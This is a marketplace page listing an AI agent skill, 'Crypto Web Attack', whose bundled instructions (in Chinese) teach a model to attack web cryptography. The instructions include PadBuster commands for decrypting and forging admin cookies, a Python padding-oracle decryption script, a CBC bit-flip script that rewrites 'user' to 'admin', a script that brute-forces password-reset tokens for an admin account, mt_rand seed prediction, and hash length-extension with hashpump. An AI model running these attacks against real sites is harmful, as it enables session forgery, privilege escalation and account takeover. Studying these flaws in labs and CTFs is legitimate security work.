Crypto Web Attack logo

Crypto Web Attack

OrganizationPopular
wgpsec
crypto-web-attack

Web 应用中的密码学攻击。当发现 Padding Oracle 错误信息、CBC 模式加密的 Token、可预测的随机数/Token、哈希长度扩展攻击机会时使用。覆盖 Padding Oracle(含 PadBuster 完整用法)、CBC bit-flip、弱随机数、哈希长度扩展、ECB 块重排。注意:JWT 攻击请使用 jwt-attack-methodology,Cookie 分析请使用 cookie-analysis

Overview

Publisherwgpsec
RepositoryAboutSecurity
Skill namecrypto-web-attack
Stars
1.8K
Forks
247
Bundled files
3
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 3 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by wgpsec on GitHub. Read the source before you install it.

Installation

Install the Crypto Web Attack AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/wgpsec/AboutSecurity/tree/master/skills/exploit/advanced/crypto-web-attack
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/wgpsec/AboutSecurity.git /tmp/AboutSecurity
mkdir -p .claude/skills
cp -r /tmp/AboutSecurity/skills/exploit/advanced/crypto-web-attack .claude/skills/crypto-web-attack
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Crypto Web Attack in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Crypto Web Attack on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Crypto Web Attack is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Web 密码学攻击方法论

Web 应用中的密码学攻击不需要破解算法本身,而是利用实现缺陷——错误信息泄露、可预测的随机数、不当的加密模式使用。

⛔ 深入参考(必读)

Phase 1: Padding Oracle Attack

识别:解密失败时返回不同错误(200 vs 500 vs 302)。入口:加密 Cookie、加密 URL 参数。

关键特征:

  • 修改密文某字节 → 返回 500 (padding error)
  • 修改密文另一字节 → 返回 200 或 302 (padding correct but data wrong)
  • 不同响应 = Oracle 存在

PadBuster 工具用法(首选)

bash
# 安装(Perl 脚本)
apt install padbuster
# 或
git clone https://github.com/AonCyberLabs/PadBuster.git

# 1. 解密已有密文
padbuster http://target/api ENCRYPTED_TOKEN 16 -encoding 0
# 参数说明:
#   ENCRYPTED_TOKEN = 要解密的密文(hex 或 base64)
#   16 = block size(AES=16, DES=8)
#   -encoding 0 = hex, 1 = lowercase hex, 2 = base64, 3 = URL-encoded base64, 4 = Web-safe base64

# 2. Cookie 中的 Padding Oracle
padbuster http://target/ COOKIE_VALUE 16 \
    -cookies "session=COOKIE_VALUE" \
    -encoding 2  # base64

# 3. 加密自定义明文(伪造 Cookie)
padbuster http://target/ COOKIE_VALUE 16 \
    -cookies "session=COOKIE_VALUE" \
    -encoding 2 \
    -plaintext '{"user":"admin","role":"admin"}'

# 4. POST 请求中的 Padding Oracle
padbuster http://target/decrypt ENCRYPTED 16 \
    -post "data=ENCRYPTED" \
    -encoding 0

# 5. 指定 error pattern(非标准错误响应)
padbuster http://target/ TOKEN 16 \
    -error "Invalid padding" \
    -encoding 0

Python 手动 Padding Oracle(PadBuster 不可用时)

python
#!/usr/bin/env python3
"""Padding Oracle 解密脚本"""
import requests

URL = "http://target/api"
BLOCK_SIZE = 16  # AES

def oracle(ciphertext_hex):
    """发送密文,判断 padding 是否正确"""
    r = requests.get(f"{URL}?token={ciphertext_hex}")
    # 根据实际情况调整判断条件
    return r.status_code != 500  # 500=padding error, 200=padding OK

def decrypt_block(prev_block, curr_block):
    """解密单个 block"""
    intermediate = bytearray(BLOCK_SIZE)
    plaintext = bytearray(BLOCK_SIZE)

    for pos in range(BLOCK_SIZE - 1, -1, -1):
        padding_val = BLOCK_SIZE - pos
        # 设置已知的 intermediate 值
        test = bytearray(BLOCK_SIZE)
        for k in range(pos + 1, BLOCK_SIZE):
            test[k] = intermediate[k] ^ padding_val

        for guess in range(256):
            test[pos] = guess
            test_hex = (bytes(test) + bytes(curr_block)).hex()
            if oracle(test_hex):
                intermediate[pos] = guess ^ padding_val
                plaintext[pos] = intermediate[pos] ^ prev_block[pos]
                break

    return bytes(plaintext)

# 使用:将密文按 BLOCK_SIZE 分块,逐块解密

→ 完整原理和更多场景 → references/crypto-techniques.md

Phase 2: CBC Bit-Flip Attack

修改第 N 个密文 block 字节 → 精确翻转第 N+1 个明文 block 对应字节。

核心公式:cipher[offset] ^= ord(原字符) ^ ord(目标字符)

实操脚本

python
import base64

token = "BASE64_ENCRYPTED_COOKIE"
cipher = bytearray(base64.b64decode(token))

# 目标:将 "user" 翻转为 "admin" (假设在第二个 block)
# 修改第一个 block 的对应字节
offset = 0  # 根据实际明文位置计算
cipher[offset]     ^= ord('u') ^ ord('a')
cipher[offset + 1] ^= ord('s') ^ ord('d')
cipher[offset + 2] ^= ord('e') ^ ord('m')
cipher[offset + 3] ^= ord('r') ^ ord('i')
# 注意:第一个 block 的明文会被破坏(变成垃圾),但第二个 block 被精确修改

new_token = base64.b64encode(cipher).decode()
print(f"Forged token: {new_token}")

注意:被修改的 block 对应的明文会变成垃圾。如果应用检查该 block 的数据,攻击会失败。

→ 详细利用 → references/crypto-techniques.md

Phase 3: 弱随机数 / 可预测 Token

识别:密码重置 Token 基于时间戳?Session ID 递增?CSRF Token 可预测?

时间戳爆破

python
import hashlib, time, requests

target_email = "admin@target.com"
# 获取"重置密码"请求的时间戳附近
reset_time = int(time.time())
for ts in range(reset_time - 60, reset_time + 60):
    token = hashlib.md5(f"{ts}{target_email}".encode()).hexdigest()
    r = requests.get(f"http://target/reset?token={token}")
    if r.status_code == 200 and 'expired' not in r.text:
        print(f"[+] Valid token: {token} (timestamp: {ts})")
        break

PHP mt_rand() 预测

bash
# PHP 的 mt_rand() 可从输出推断种子
# 工具:php_mt_seed
php_mt_seed OUTPUT_VALUE
# 得到种子后预测后续输出

Phase 4: 哈希长度扩展

适用条件:

  • 服务端使用 H(secret + message) 签名(MD5/SHA1/SHA256)
  • 你知道 message 和 H(secret + message)
  • 你不知道 secret

HashPump 使用

bash
# 安装
apt install hashpump
# 或 pip install hashpumpy

# 使用
hashpump -s ORIGINAL_HASH -d 'original_data' -a '&admin=true' -k SECRET_LENGTH
# SECRET_LENGTH 需要暴力枚举(通常 8-32)

# Python 版
import hashpumpy
for key_len in range(8, 33):
    new_hash, new_data = hashpumpy.hashpump(
        original_hash, 'original_data', '&admin=true', key_len
    )
    # 用 new_hash 和 new_data 发送请求测试

不适用:HMAC、SHA-3、BLAKE2。

Phase 5: CTF 速查表

看到什么方向工具
加密 Cookie + 不同错误Padding Oraclepadbuster
role=user 加密 CookieCBC Bit-flipPython XOR 脚本
密码重置 + 短 Token弱随机数时间戳暴力脚本
sign=md5hash哈希长度扩展hashpump
eyJ... Base64 JSONJWTjwt爆破工具
PHP mt_rand()种子预测php_mt_seed
AES-ECB CookieECB 块重排手动 cut-and-paste

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Crypto Web Attack AI skill do?

Web 应用中的密码学攻击。当发现 Padding Oracle 错误信息、CBC 模式加密的 Token、可预测的随机数/Token、哈希长度扩展攻击机会时使用。覆盖 Padding Oracle(含 PadBuster 完整用法)、CBC bit-flip、弱随机数、哈希长度扩展、ECB 块重排。注意:JWT 攻击请使用 jwt-attack-methodology,Cookie 分析请使用 cookie-analysis

Why use Crypto Web Attack on TypingMind?

Because you install it once and use it with any model. Crypto Web Attack is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Crypto Web Attack in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/wgpsec/AboutSecurity/tree/master/skills/exploit/advanced/crypto-web-attack. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Crypto Web Attack?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Crypto Web Attack?

As many as you like. As long as a model supports skills, you can use Crypto Web Attack with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Crypto Web Attack AI skill free?

It is published on GitHub by wgpsec. Check the repository for licensing terms. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇